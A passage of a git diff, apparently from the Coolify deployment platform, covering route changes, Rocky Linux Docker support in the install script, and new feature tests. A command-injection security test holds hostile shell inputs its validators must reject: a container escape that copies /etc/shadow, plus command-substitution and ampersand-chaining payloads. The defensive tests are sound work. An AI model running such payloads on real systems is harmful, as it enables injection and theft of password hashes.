-
Swarm (experimental)
+ Swarm
+
+
+ {{ config('deprecations.swarm') }}
+
diff --git a/routes/api.php b/routes/api.php
index 0d3edcced..7394d4e16 100644
--- a/routes/api.php
+++ b/routes/api.php
@@ -26,7 +26,8 @@
Route::get('/health', [OtherController::class, 'healthcheck']);
});
-Route::post('/feedback', [OtherController::class, 'feedback']);
+Route::post('/feedback', [OtherController::class, 'feedback'])
+ ->middleware('throttle:feedback');
Route::group([
'middleware' => ['auth:sanctum', 'api.ability:write'],
@@ -129,6 +130,8 @@
Route::match(['get', 'post'], '/applications/{uuid}/restart', [ApplicationsController::class, 'action_restart'])->middleware(['api.ability:deploy']);
Route::match(['get', 'post'], '/applications/{uuid}/stop', [ApplicationsController::class, 'action_stop'])->middleware(['api.ability:deploy']);
+ Route::delete('/applications/{uuid}/previews/{pull_request_id}', [ApplicationsController::class, 'delete_preview_by_pull_request_id'])->middleware(['api.ability:write']);
+
Route::get('/github-apps', [GithubController::class, 'list_github_apps'])->middleware(['api.ability:read']);
Route::post('/github-apps', [GithubController::class, 'create_github_app'])->middleware(['api.ability:write']);
Route::patch('/github-apps/{github_app_id}', [GithubController::class, 'update_github_app'])->middleware(['api.ability:write']);
@@ -218,7 +221,7 @@
try {
$decrypted = decrypt($naked_token);
$decrypted_token = json_decode($decrypted, true);
- } catch (\Exception $e) {
+ } catch (Exception $e) {
return response()->json(['message' => 'Invalid token'], 401);
}
$server_uuid = data_get($decrypted_token, 'server_uuid');
diff --git a/routes/web.php b/routes/web.php
index 6d70b4223..997045659 100644
--- a/routes/web.php
+++ b/routes/web.php
@@ -267,6 +267,7 @@
Route::get('/terminal', ExecuteContainerCommand::class)->name('project.service.command')->middleware('can.access.terminal');
Route::get('/{stack_service_uuid}/backups', ServiceDatabaseBackups::class)->name('project.service.database.backups');
Route::get('/{stack_service_uuid}/import', ServiceIndex::class)->name('project.service.database.import')->middleware('can.update.resource');
+ Route::get('/{stack_service_uuid}/advanced', ServiceIndex::class)->name('project.service.index.advanced');
Route::get('/{stack_service_uuid}', ServiceIndex::class)->name('project.service.index');
Route::get('/tasks/{task_uuid}', ServiceConfiguration::class)->name('project.service.scheduled-tasks');
});
@@ -390,7 +391,7 @@
'Content-Disposition' => 'attachment; filename="'.basename($filename).'"',
]);
} catch (Throwable $e) {
- return response()->json(['message' => $e->getMessage()], 500);
+ return response()->json(['message' => 'Failed to download backup.'], 500);
}
})->name('download.backup');
diff --git a/scripts/install.sh b/scripts/install.sh
index 2e1dab326..15f172f6d 100755
--- a/scripts/install.sh
+++ b/scripts/install.sh
@@ -539,6 +539,15 @@ install_docker_manually() {
echo "Docker installed successfully."
fi
}
+
+install_docker_from_rhel_repo() {
+ echo " - Installing Docker from the RHEL repository for Rocky Linux..."
+ rm -f /etc/yum.repos.d/docker-ce.repo /etc/yum.repos.d/docker-ce-staging.repo
+ dnf config-manager --add-repo https://download.docker.com/linux/rhel/docker-ce.repo
+ dnf install -y docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin
+ systemctl --now enable docker
+}
+
log_section "Step 3/9: Checking Docker installation"
echo "3/9 Checking Docker installation..."
if ! [ -x "$(command -v docker)" ]; then
@@ -579,6 +588,13 @@ if ! [ -x "$(command -v docker)" ]; then
exit 1
fi
;;
+ "rocky")
+ install_docker_from_rhel_repo
+ if ! [ -x "$(command -v docker)" ]; then
+ echo " - Docker could not be installed automatically. Please visit https://docs.docker.com/engine/install/ and install Docker manually to continue."
+ exit 1
+ fi
+ ;;
"almalinux" | "tencentos")
dnf config-manager --add-repo=https://download.docker.com/linux/centos/docker-ce.repo >/dev/null 2>&1
dnf install -y docker-ce docker-ce-cli containerd.io docker-compose-plugin >/dev/null 2>&1
diff --git a/templates/compose/calcom.yaml b/templates/compose/calcom.yaml
index 0cc7f63ce..b5ef778b5 100644
--- a/templates/compose/calcom.yaml
+++ b/templates/compose/calcom.yaml
@@ -4,6 +4,7 @@
# tags: calcom,calendso,scheduling,open,source
# logo: svgs/calcom.svg
# port: 3000
+# amd_only: true
services:
calcom:
diff --git a/templates/service-templates-latest.json b/templates/service-templates-latest.json
index 02b27976f..fdc99ae78 100644
--- a/templates/service-templates-latest.json
+++ b/templates/service-templates-latest.json
@@ -408,7 +408,8 @@
"category": "productivity",
"logo": "svgs/calcom.svg",
"minversion": "0.0.0",
- "port": "3000"
+ "port": "3000",
+ "amd_only": true
},
"calibre-web-automated-book-downloader": {
"documentation": "https://github.com/calibrain/calibre-web-automated-book-downloader?utm_source=coolify.io",
diff --git a/templates/service-templates.json b/templates/service-templates.json
index b47f2c1ac..45e2185ed 100644
--- a/templates/service-templates.json
+++ b/templates/service-templates.json
@@ -408,7 +408,8 @@
"category": "productivity",
"logo": "svgs/calcom.svg",
"minversion": "0.0.0",
- "port": "3000"
+ "port": "3000",
+ "amd_only": true
},
"calibre-web-automated-book-downloader": {
"documentation": "https://github.com/calibrain/calibre-web-automated-book-downloader?utm_source=coolify.io",
diff --git a/tests/Feature/AdminAccessAuthorizationTest.php b/tests/Feature/AdminAccessAuthorizationTest.php
index 4840bc4dd..97895ecda 100644
--- a/tests/Feature/AdminAccessAuthorizationTest.php
+++ b/tests/Feature/AdminAccessAuthorizationTest.php
@@ -1,6 +1,7 @@
set('constants.coolify.self_hosted', false);
- $rootTeam = Team::find(0) ?? Team::factory()->create(['id' => 0]);
+ InstanceSettings::unguarded(fn () => InstanceSettings::query()->create(['id' => 0]));
$rootUser = User::factory()->create(['id' => 0]);
- $rootTeam->members()->attach($rootUser->id, ['role' => 'admin']);
+ $rootTeam = Team::find(0);
$targetUser = User::factory()->create();
$targetTeam = Team::factory()->create();
@@ -84,7 +85,47 @@
Livewire::test(AdminIndex::class)
->assertOk()
->call('switchUser', $targetUser->id)
- ->assertRedirect();
+ ->assertRedirect(route('dashboard'));
+});
+
+test('back() redirects impersonator to admin index and clears session', function () {
+ config()->set('constants.coolify.self_hosted', false);
+
+ InstanceSettings::unguarded(fn () => InstanceSettings::query()->create(['id' => 0]));
+ $rootUser = User::factory()->create(['id' => 0]);
+ $rootTeam = Team::find(0);
+
+ $this->actingAs($rootUser);
+ session([
+ 'currentTeam' => ['id' => $rootTeam->id],
+ 'impersonating' => true,
+ ]);
+
+ Livewire::test(AdminIndex::class)
+ ->call('back')
+ ->assertRedirect(route('admin.index'));
+
+ expect(session('impersonating'))->toBeNull();
+});
+
+test('switchUser ignores Referer header and uses dashboard route', function () {
+ config()->set('constants.coolify.self_hosted', false);
+
+ InstanceSettings::unguarded(fn () => InstanceSettings::query()->create(['id' => 0]));
+ $rootUser = User::factory()->create(['id' => 0]);
+ $rootTeam = Team::find(0);
+
+ $targetUser = User::factory()->create();
+ $targetTeam = Team::factory()->create();
+ $targetTeam->members()->attach($targetUser->id, ['role' => 'admin']);
+
+ $this->actingAs($rootUser);
+ session(['currentTeam' => ['id' => $rootTeam->id]]);
+
+ Livewire::withHeaders(['Referer' => 'https://example.com/elsewhere'])
+ ->test(AdminIndex::class)
+ ->call('switchUser', $targetUser->id)
+ ->assertRedirect(route('dashboard'));
});
test('switchUser rejects non-root user', function () {
diff --git a/tests/Feature/ApiTokenExpirationTest.php b/tests/Feature/ApiTokenExpirationTest.php
new file mode 100644
index 000000000..99a952848
--- /dev/null
+++ b/tests/Feature/ApiTokenExpirationTest.php
@@ -0,0 +1,81 @@
+team = Team::factory()->create();
+ $this->user = User::factory()->create();
+ $this->team->members()->attach($this->user->id, ['role' => 'owner']);
+
+ session(['currentTeam' => $this->team]);
+ $this->actingAs($this->user);
+});
+
+describe('token creation with expiration', function () {
+ test('livewire component stores expires_at when expiresInDays set', function () {
+ Livewire::test(ApiTokens::class)
+ ->set('description', 'test-token')
+ ->set('expiresInDays', 7)
+ ->set('permissions', ['read'])
+ ->call('addNewToken')
+ ->assertHasNoErrors();
+
+ $token = $this->user->tokens()->latest()->first();
+
+ expect($token)->not->toBeNull()
+ ->and($token->expires_at)->not->toBeNull()
+ ->and($token->expires_at->diffInDays(now()))->toBeGreaterThanOrEqual(6)
+ ->and($token->expires_at->diffInDays(now()))->toBeLessThanOrEqual(7);
+ });
+
+ test('livewire component stores null expires_at when expiresInDays null (Never)', function () {
+ Livewire::test(ApiTokens::class)
+ ->set('description', 'never-token')
+ ->set('expiresInDays', null)
+ ->set('permissions', ['read'])
+ ->call('addNewToken')
+ ->assertHasNoErrors();
+
+ $token = $this->user->tokens()->latest()->first();
+
+ expect($token)->not->toBeNull()
+ ->and($token->expires_at)->toBeNull();
+ });
+
+ test('livewire component rejects invalid expiresInDays value', function () {
+ Livewire::test(ApiTokens::class)
+ ->set('description', 'bad-token')
+ ->set('expiresInDays', 42)
+ ->set('permissions', ['read'])
+ ->call('addNewToken')
+ ->assertHasErrors('expiresInDays');
+ });
+});
+
+describe('expired token rejected on API', function () {
+ test('request with expired token returns 401', function () {
+ $token = $this->user->createToken('expired', ['read'], now()->subDay());
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$token->plainTextToken,
+ ])->getJson('/api/v1/projects');
+
+ $response->assertStatus(401);
+ });
+
+ test('request with non-expired token works', function () {
+ $token = $this->user->createToken('valid', ['read'], now()->addDay());
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$token->plainTextToken,
+ ])->getJson('/api/v1/projects');
+
+ $response->assertStatus(200);
+ });
+});
diff --git a/tests/Feature/ApiTokenExpirationWarningTest.php b/tests/Feature/ApiTokenExpirationWarningTest.php
new file mode 100644
index 000000000..5255581dd
--- /dev/null
+++ b/tests/Feature/ApiTokenExpirationWarningTest.php
@@ -0,0 +1,83 @@
+team = Team::factory()->create();
+ $this->user = User::factory()->create();
+ $this->team->members()->attach($this->user->id, ['role' => 'owner']);
+ $this->team->emailNotificationSettings()->update(['use_instance_email_settings' => true]);
+ $this->team->discordNotificationSettings()->update([
+ 'discord_enabled' => true,
+ 'discord_webhook_url' => 'https://discord.com/api/webhooks/fake/fake',
+ ]);
+
+ session(['currentTeam' => $this->team]);
+ $this->actingAs($this->user);
+
+ Cache::flush();
+ Notification::fake();
+});
+
+function createTokenExpiring(User $user, Team $team, ?Carbon $expiresAt): PersonalAccessToken
+{
+ $plain = $user->createToken('t-'.uniqid(), ['read'], $expiresAt);
+ $token = $plain->accessToken;
+ $token->team_id = $team->id;
+ $token->save();
+
+ return $token->fresh();
+}
+
+describe('ApiTokenExpirationWarningJob', function () {
+ test('notifies team when token expires within 24h', function () {
+ createTokenExpiring($this->user, $this->team, now()->addHours(23));
+
+ (new ApiTokenExpirationWarningJob)->handle();
+
+ Notification::assertSentTo($this->team, ApiTokenExpiringNotification::class);
+ });
+
+ test('rate limiter prevents duplicate warnings on repeat runs', function () {
+ createTokenExpiring($this->user, $this->team, now()->addHours(12));
+
+ (new ApiTokenExpirationWarningJob)->handle();
+ (new ApiTokenExpirationWarningJob)->handle();
+
+ Notification::assertSentToTimes($this->team, ApiTokenExpiringNotification::class, 1);
+ });
+
+ test('skips tokens expiring more than 24h out', function () {
+ createTokenExpiring($this->user, $this->team, now()->addDays(3));
+
+ (new ApiTokenExpirationWarningJob)->handle();
+
+ Notification::assertNothingSent();
+ });
+
+ test('skips already-expired tokens', function () {
+ createTokenExpiring($this->user, $this->team, now()->subHour());
+
+ (new ApiTokenExpirationWarningJob)->handle();
+
+ Notification::assertNothingSent();
+ });
+
+ test('skips tokens with null expires_at', function () {
+ createTokenExpiring($this->user, $this->team, null);
+
+ (new ApiTokenExpirationWarningJob)->handle();
+
+ Notification::assertNothingSent();
+ });
+});
diff --git a/tests/Feature/ApplicationPreviewApiTest.php b/tests/Feature/ApplicationPreviewApiTest.php
new file mode 100644
index 000000000..bc405d48b
--- /dev/null
+++ b/tests/Feature/ApplicationPreviewApiTest.php
@@ -0,0 +1,132 @@
+ InstanceSettings::firstOrCreate(['id' => 0]));
+
+ $this->team = Team::factory()->create();
+ $this->user = User::factory()->create();
+ $this->team->members()->attach($this->user->id, ['role' => 'owner']);
+
+ $this->bearerToken = createTeamApiToken($this->user, $this->team, ['*']);
+
+ $this->server = Server::factory()->create(['team_id' => $this->team->id]);
+ $this->destination = StandaloneDocker::where('server_id', $this->server->id)->first();
+ $this->project = Project::factory()->create(['team_id' => $this->team->id]);
+ $this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
+
+ $this->application = Application::factory()->create([
+ 'environment_id' => $this->environment->id,
+ 'destination_id' => $this->destination->id,
+ 'destination_type' => $this->destination->getMorphClass(),
+ ]);
+
+ CleanupPreviewDeployment::shouldRun()->andReturn([
+ 'cancelled_deployments' => 0,
+ 'killed_containers' => 0,
+ 'status' => 'success',
+ ]);
+});
+
+function previewAuthHeaders(string $bearerToken): array
+{
+ return [
+ 'Authorization' => 'Bearer '.$bearerToken,
+ 'Content-Type' => 'application/json',
+ ];
+}
+
+function createTeamApiToken(User $user, Team $team, array $abilities): string
+{
+ $plainTextToken = Str::random(40);
+ $token = $user->tokens()->create([
+ 'name' => 'test-token-'.Str::random(6),
+ 'token' => hash('sha256', $plainTextToken),
+ 'abilities' => $abilities,
+ 'team_id' => $team->id,
+ ]);
+
+ return $token->getKey().'|'.$plainTextToken;
+}
+
+function createPreview(Application $application, int $pullRequestId): ApplicationPreview
+{
+ return ApplicationPreview::create([
+ 'uuid' => (string) new Cuid2,
+ 'application_id' => $application->id,
+ 'pull_request_id' => $pullRequestId,
+ 'pull_request_html_url' => "https://github.com/example/repo/pull/{$pullRequestId}",
+ 'fqdn' => "pr-{$pullRequestId}.example.com",
+ ]);
+}
+
+describe('DELETE /api/v1/applications/{uuid}/previews/{pull_request_id}', function () {
+ test('returns 401 when no bearer token provided', function () {
+ $response = $this->deleteJson("/api/v1/applications/{$this->application->uuid}/previews/42");
+
+ $response->assertUnauthorized();
+ });
+
+ test('returns 404 when application uuid does not exist', function () {
+ $response = $this->withHeaders(previewAuthHeaders($this->bearerToken))
+ ->deleteJson('/api/v1/applications/nonexistent-uuid/previews/42');
+
+ $response->assertNotFound()
+ ->assertJson(['message' => 'Application not found.']);
+ });
+
+ test('returns 404 when preview does not exist for the application', function () {
+ $response = $this->withHeaders(previewAuthHeaders($this->bearerToken))
+ ->deleteJson("/api/v1/applications/{$this->application->uuid}/previews/9999");
+
+ $response->assertNotFound()
+ ->assertJson(['message' => 'Preview not found.']);
+ });
+
+ test('returns 422 when pull_request_id is not a positive integer', function () {
+ $response = $this->withHeaders(previewAuthHeaders($this->bearerToken))
+ ->deleteJson("/api/v1/applications/{$this->application->uuid}/previews/0");
+
+ $response->assertStatus(422)
+ ->assertJson(['message' => 'Invalid pull_request_id.']);
+ });
+
+ test('soft-deletes the preview and returns 200 on success', function () {
+ $preview = createPreview($this->application, 42);
+
+ $response = $this->withHeaders(previewAuthHeaders($this->bearerToken))
+ ->deleteJson("/api/v1/applications/{$this->application->uuid}/previews/42");
+
+ $response->assertOk()
+ ->assertJson(['message' => 'Preview deletion request queued.']);
+
+ expect($preview->fresh()->trashed())->toBeTrue();
+ });
+
+ test('returns 403 when token lacks write ability', function () {
+ $readOnlyToken = createTeamApiToken($this->user, $this->team, ['read']);
+ createPreview($this->application, 7);
+
+ $response = $this->withHeaders(previewAuthHeaders($readOnlyToken))
+ ->deleteJson("/api/v1/applications/{$this->application->uuid}/previews/7");
+
+ $response->assertForbidden();
+ });
+});
diff --git a/tests/Feature/CleanupUnreachableServersTest.php b/tests/Feature/CleanupUnreachableServersTest.php
index edfd0511c..c06944969 100644
--- a/tests/Feature/CleanupUnreachableServersTest.php
+++ b/tests/Feature/CleanupUnreachableServersTest.php
@@ -30,7 +30,7 @@
'updated_at' => now()->subDays(8),
]);
- $originalIp = $server->ip;
+ $originalIp = (string) $server->ip;
$this->artisan('cleanup:unreachable-servers')->assertSuccessful();
@@ -47,7 +47,7 @@
'updated_at' => now()->subDays(3),
]);
- $originalIp = $server->ip;
+ $originalIp = (string) $server->ip;
$this->artisan('cleanup:unreachable-servers')->assertSuccessful();
@@ -64,7 +64,7 @@
'updated_at' => now()->subDays(8),
]);
- $originalIp = $server->ip;
+ $originalIp = (string) $server->ip;
$this->artisan('cleanup:unreachable-servers')->assertSuccessful();
diff --git a/tests/Feature/CleanupUnsubscribedServersTest.php b/tests/Feature/CleanupUnsubscribedServersTest.php
new file mode 100644
index 000000000..ee3fdb02d
--- /dev/null
+++ b/tests/Feature/CleanupUnsubscribedServersTest.php
@@ -0,0 +1,78 @@
+create();
+ Subscription::create([
+ 'team_id' => $team->id,
+ 'stripe_invoice_paid' => true,
+ ]);
+ $server = Server::factory()->create([
+ 'team_id' => $team->id,
+ 'unreachable_count' => 0,
+ 'unreachable_notification_sent' => false,
+ ]);
+
+ $team->subscriptionEnded();
+
+ $server->refresh();
+ expect($server->unreachable_count)->toBe(3);
+ expect($server->unreachable_notification_sent)->toBeTrue();
+});
+
+it('cleans up unsubscribed server IP after 7 days via cleanup command', function () {
+ $team = Team::factory()->create();
+ $server = Server::factory()->create([
+ 'team_id' => $team->id,
+ 'unreachable_count' => 3,
+ 'unreachable_notification_sent' => true,
+ 'updated_at' => now()->subDays(8),
+ ]);
+
+ $this->artisan('cleanup:unreachable-servers')->assertSuccessful();
+
+ $server->refresh();
+ expect($server->ip)->toBe('1.2.3.4');
+});
+
+it('does not clean up unsubscribed server IP within 7 day grace period', function () {
+ $team = Team::factory()->create();
+ $server = Server::factory()->create([
+ 'team_id' => $team->id,
+ 'unreachable_count' => 3,
+ 'unreachable_notification_sent' => true,
+ 'updated_at' => now()->subDays(3),
+ ]);
+
+ $originalIp = (string) $server->ip;
+
+ $this->artisan('cleanup:unreachable-servers')->assertSuccessful();
+
+ $server->refresh();
+ expect((string) $server->ip)->toBe($originalIp);
+});
+
+it('does not affect servers with active subscriptions', function () {
+ $team = Team::factory()->create();
+ Subscription::create([
+ 'team_id' => $team->id,
+ 'stripe_invoice_paid' => true,
+ ]);
+ $server = Server::factory()->create([
+ 'team_id' => $team->id,
+ 'unreachable_count' => 0,
+ 'unreachable_notification_sent' => false,
+ ]);
+
+ $originalCount = $server->unreachable_count;
+ $originalNotification = $server->unreachable_notification_sent;
+
+ expect($originalCount)->toBe(0);
+ expect($originalNotification)->toBeFalse();
+});
diff --git a/tests/Feature/CommandInjectionSecurityTest.php b/tests/Feature/CommandInjectionSecurityTest.php
index bbd69ecfe..d42a8490a 100644
--- a/tests/Feature/CommandInjectionSecurityTest.php
+++ b/tests/Feature/CommandInjectionSecurityTest.php
@@ -414,7 +414,7 @@
expect($validator->fails())->toBeTrue();
});
- test('rejects single quotes in docker_compose_custom_start_command', function () {
+ test('allows single-quoted arguments in docker_compose_custom_start_command', function () {
$rules = sharedDataApplications();
$validator = validator(
@@ -422,7 +422,7 @@
['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']]
);
- expect($validator->fails())->toBeTrue();
+ expect($validator->fails())->toBeFalse();
});
test('allows double quotes in docker_compose_custom_start_command', function () {
@@ -474,6 +474,127 @@
expect($method->invoke($instance, 'docker compose up -d --build', 'docker_compose_custom_start_command'))
->toBe('docker compose up -d --build');
});
+
+ test('rejects bare ampersand PoC payload (GHSA-chg4-63hm-xv9x)', function () {
+ $rules = sharedDataApplications();
+ $payload = 'true & docker run --rm -v /:/h alpine sh -c "cp /h/etc/shadow /h/tmp/leak"';
+
+ $validator = validator(
+ ['docker_compose_custom_start_command' => $payload],
+ ['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']]
+ );
+
+ expect($validator->fails())->toBeTrue();
+ });
+
+ test('rejects bare ampersand across every shell-safe field', function ($field) {
+ $rules = sharedDataApplications();
+
+ $validator = validator(
+ [$field => 'cmd1 & cmd2'],
+ [$field => $rules[$field]]
+ );
+
+ expect($validator->fails())->toBeTrue();
+ })->with([
+ 'install_command',
+ 'build_command',
+ 'start_command',
+ 'docker_compose_custom_build_command',
+ 'docker_compose_custom_start_command',
+ 'custom_docker_run_options',
+ ]);
+
+ test('rejects command substitution inside double quotes', function ($payload) {
+ $rules = sharedDataApplications();
+
+ $validator = validator(
+ ['build_command' => "echo $payload"],
+ ['build_command' => $rules['build_command']]
+ );
+
+ expect($validator->fails())->toBeTrue();
+ })->with(['"$(whoami)"', '"`whoami`"']);
+
+ test('rejects unbalanced quotes', function ($payload) {
+ $rules = sharedDataApplications();
+
+ $validator = validator(
+ ['build_command' => $payload],
+ ['build_command' => $rules['build_command']]
+ );
+
+ expect($validator->fails())->toBeTrue();
+ })->with(['echo "unterminated', "echo 'unterminated"]);
+
+ test('rejects backslash anywhere', function ($payload) {
+ $rules = sharedDataApplications();
+
+ $validator = validator(
+ ['build_command' => $payload],
+ ['build_command' => $rules['build_command']]
+ );
+
+ expect($validator->fails())->toBeTrue();
+ })->with(['echo \\;', 'echo \\$HOME']);
+
+ test('runtime validateShellSafeCommand rejects bare ampersand payload', function () {
+ $job = new ReflectionClass(ApplicationDeploymentJob::class);
+ $method = $job->getMethod('validateShellSafeCommand');
+ $method->setAccessible(true);
+
+ $instance = $job->newInstanceWithoutConstructor();
+
+ expect(fn () => $method->invoke($instance, 'true & whoami', 'docker_compose_custom_start_command'))
+ ->toThrow(RuntimeException::class, 'contains forbidden shell characters');
+ });
+
+ test('allows logical OR chaining', function ($cmd) {
+ $rules = sharedDataApplications();
+
+ $validator = validator(
+ ['build_command' => $cmd],
+ ['build_command' => $rules['build_command']]
+ );
+
+ expect($validator->fails())->toBeFalse();
+ })->with([
+ 'make build || make clean',
+ 'npm run build || npm run fallback',
+ 'cmd-a || cmd-b && cmd-c',
+ ]);
+
+ test('allows glob and bang tokens', function ($cmd) {
+ $rules = sharedDataApplications();
+
+ $validator = validator(
+ ['build_command' => $cmd],
+ ['build_command' => $rules['build_command']]
+ );
+
+ expect($validator->fails())->toBeFalse();
+ })->with([
+ 'rm *.tmp',
+ 'cp src/?.js dist/',
+ '! grep -q foo && echo missing',
+ 'docker build --tag app-v1!',
+ ]);
+
+ test('rejects bare pipe even though || is allowed', function ($cmd) {
+ $rules = sharedDataApplications();
+
+ $validator = validator(
+ ['build_command' => $cmd],
+ ['build_command' => $rules['build_command']]
+ );
+
+ expect($validator->fails())->toBeTrue();
+ })->with([
+ 'cmd | cat',
+ 'cmd|cat',
+ 'a |b',
+ 'a| b',
+ ]);
});
describe('custom_docker_run_options validation', function () {
@@ -676,7 +797,7 @@
});
});
-describe('install/build/start command validation (GHSA-9pp4-wcmj-rq73)', function () {
+describe('install/build/start command validation', function () {
test('rejects semicolon injection in install_command', function () {
$rules = sharedDataApplications();
diff --git a/tests/Feature/ConvertingGitUrlsTest.php b/tests/Feature/ConvertingGitUrlsTest.php
index 5bcdea1a1..96b19fcc9 100644
--- a/tests/Feature/ConvertingGitUrlsTest.php
+++ b/tests/Feature/ConvertingGitUrlsTest.php
@@ -60,3 +60,47 @@
'port' => '766',
]);
});
+
+test('convertGitUrlsForSourceAndSshUrlSchemeWithCustomPort', function () {
+ $result = convertGitUrl('ssh://git@192.168.56.11:22222/User/Repo.git', 'source', null);
+ expect($result)->toBe([
+ 'repository' => 'ssh://git@192.168.56.11:22222/User/Repo.git',
+ 'port' => '22222',
+ ]);
+});
+
+test('convertGitUrlsForSourceAndSshUrlSchemeWithCustomPortAndIpv6Host', function () {
+ $result = convertGitUrl('ssh://git@[2001:db8::10]:22222/group/project.git', 'source', null);
+ expect($result)->toBe([
+ 'repository' => 'ssh://git@[2001:db8::10]:22222/group/project.git',
+ 'port' => '22222',
+ ]);
+});
+
+test('convertGitUrlsForDeployKeyAndGithubAppWithCustomPort', function () {
+ $githubApp = new GithubApp([
+ 'html_url' => 'https://github.example.com',
+ 'custom_user' => 'git',
+ 'custom_port' => 22222,
+ ]);
+
+ $result = convertGitUrl('andrasbacsai/coolify-examples.git', 'deploy_key', $githubApp);
+ expect($result)->toBe([
+ 'repository' => 'ssh://git@github.example.com:22222/andrasbacsai/coolify-examples.git',
+ 'port' => '22222',
+ ]);
+});
+
+test('convertGitUrlsForDeployKeyAndGithubAppWithCustomPortAndIpv6Host', function () {
+ $githubApp = new GithubApp([
+ 'html_url' => 'https://[2001:db8::10]',
+ 'custom_user' => 'git',
+ 'custom_port' => 22222,
+ ]);
+
+ $result = convertGitUrl('andrasbacsai/coolify-examples.git', 'deploy_key', $githubApp);
+ expect($result)->toBe([
+ 'repository' => 'ssh://git@[2001:db8::10]:22222/andrasbacsai/coolify-examples.git',
+ 'port' => '22222',
+ ]);
+});
diff --git a/tests/Feature/CrossTeamIdorServerProjectTest.php b/tests/Feature/CrossTeamIdorServerProjectTest.php
index 671397a1e..90e54f053 100644
--- a/tests/Feature/CrossTeamIdorServerProjectTest.php
+++ b/tests/Feature/CrossTeamIdorServerProjectTest.php
@@ -1,15 +1,19 @@
$this->teamA]);
});
-describe('Boarding Server IDOR (GHSA-qfcc-2fm3-9q42)', function () {
+describe('Boarding Server IDOR', function () {
test('boarding mount cannot load server from another team via selectedExistingServer', function () {
$component = Livewire::test(BoardingIndex::class, [
'selectedServerType' => 'remote',
@@ -62,7 +66,7 @@
});
});
-describe('Boarding Project IDOR (GHSA-qfcc-2fm3-9q42)', function () {
+describe('Boarding Project IDOR', function () {
test('boarding mount cannot load project from another team via selectedProject', function () {
$component = Livewire::test(BoardingIndex::class, [
'selectedProject' => $this->projectB->id,
@@ -91,7 +95,7 @@
});
});
-describe('GlobalSearch Server IDOR (GHSA-qfcc-2fm3-9q42)', function () {
+describe('GlobalSearch Server IDOR', function () {
test('loadDestinations cannot access server from another team', function () {
$component = Livewire::test(GlobalSearch::class)
->set('selectedServerId', $this->serverB->id)
@@ -102,7 +106,7 @@
});
});
-describe('GlobalSearch Project IDOR (GHSA-qfcc-2fm3-9q42)', function () {
+describe('GlobalSearch Project IDOR', function () {
test('loadEnvironments cannot access project from another team', function () {
$component = Livewire::test(GlobalSearch::class)
->set('selectedProjectUuid', $this->projectB->uuid)
@@ -113,11 +117,11 @@
});
});
-describe('DeleteProject IDOR (GHSA-qfcc-2fm3-9q42)', function () {
+describe('DeleteProject IDOR', function () {
test('cannot mount DeleteProject with project from another team', function () {
// Should throw ModelNotFoundException (404) because team-scoped query won't find it
Livewire::test(DeleteProject::class, ['project_id' => $this->projectB->id]);
- })->throws(\Illuminate\Database\Eloquent\ModelNotFoundException::class);
+ })->throws(ModelNotFoundException::class);
test('can mount DeleteProject with own team project', function () {
$component = Livewire::test(DeleteProject::class, ['project_id' => $this->projectA->id]);
@@ -126,14 +130,14 @@
});
});
-describe('CloneMe Project IDOR (GHSA-qfcc-2fm3-9q42)', function () {
+describe('CloneMe Project IDOR', function () {
test('cannot mount CloneMe with project UUID from another team', function () {
// Should throw ModelNotFoundException because team-scoped query won't find it
Livewire::test(CloneMe::class, [
'project_uuid' => $this->projectB->uuid,
'environment_uuid' => $this->environmentB->uuid,
]);
- })->throws(\Illuminate\Database\Eloquent\ModelNotFoundException::class);
+ })->throws(ModelNotFoundException::class);
test('can mount CloneMe with own team project UUID', function () {
$component = Livewire::test(CloneMe::class, [
@@ -145,27 +149,27 @@
});
});
-describe('DeployController API Server IDOR (GHSA-qfcc-2fm3-9q42)', function () {
+describe('DeployController API Server IDOR', function () {
test('deploy cancel API cannot access build server from another team', function () {
// Create a deployment queue entry that references Team B's server as build_server
- $application = \App\Models\Application::factory()->create([
+ $application = Application::factory()->create([
'environment_id' => $this->environmentA->id,
'destination_id' => StandaloneDocker::factory()->create(['server_id' => $this->serverA->id])->id,
'destination_type' => StandaloneDocker::class,
]);
- $deployment = \App\Models\ApplicationDeploymentQueue::create([
+ $deployment = ApplicationDeploymentQueue::create([
'application_id' => $application->id,
- 'deployment_uuid' => 'test-deploy-' . fake()->uuid(),
+ 'deployment_uuid' => 'test-deploy-'.fake()->uuid(),
'server_id' => $this->serverA->id,
'build_server_id' => $this->serverB->id, // Cross-team build server
- 'status' => \App\Enums\ApplicationDeploymentStatus::IN_PROGRESS->value,
+ 'status' => ApplicationDeploymentStatus::IN_PROGRESS->value,
]);
$token = $this->userA->createToken('test-token', ['*']);
$response = $this->withHeaders([
- 'Authorization' => 'Bearer ' . $token->plainTextToken,
+ 'Authorization' => 'Bearer '.$token->plainTextToken,
])->deleteJson("/api/v1/deployments/{$deployment->deployment_uuid}");
// The cancellation should proceed but the build_server should NOT be found
@@ -176,7 +180,7 @@
// Verify the deployment was cancelled
$deployment->refresh();
expect($deployment->status)->toBe(
- \App\Enums\ApplicationDeploymentStatus::CANCELLED_BY_USER->value
+ ApplicationDeploymentStatus::CANCELLED_BY_USER->value
);
});
});
diff --git a/tests/Feature/DatabaseBackupCreationApiTest.php b/tests/Feature/DatabaseBackupCreationApiTest.php
index 893141de3..4588cf9de 100644
--- a/tests/Feature/DatabaseBackupCreationApiTest.php
+++ b/tests/Feature/DatabaseBackupCreationApiTest.php
@@ -1,5 +1,12 @@
0]);
+
$this->team = Team::factory()->create();
$this->user = User::factory()->create();
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
- // Create an API token for the user
- $this->token = $this->user->createToken('test-token', ['*'], $this->team->id);
+ session(['currentTeam' => $this->team]);
+
+ $this->token = $this->user->createToken('test-token', ['*']);
$this->bearerToken = $this->token->plainTextToken;
- // Mock a database - we'll use Mockery to avoid needing actual database setup
- $this->database = \Mockery::mock(StandalonePostgresql::class);
- $this->database->shouldReceive('getAttribute')->with('id')->andReturn(1);
- $this->database->shouldReceive('getAttribute')->with('uuid')->andReturn('test-db-uuid');
- $this->database->shouldReceive('getAttribute')->with('postgres_db')->andReturn('testdb');
- $this->database->shouldReceive('type')->andReturn('standalone-postgresql');
- $this->database->shouldReceive('getMorphClass')->andReturn('App\Models\StandalonePostgresql');
-});
+ $this->server = Server::factory()->create(['team_id' => $this->team->id]);
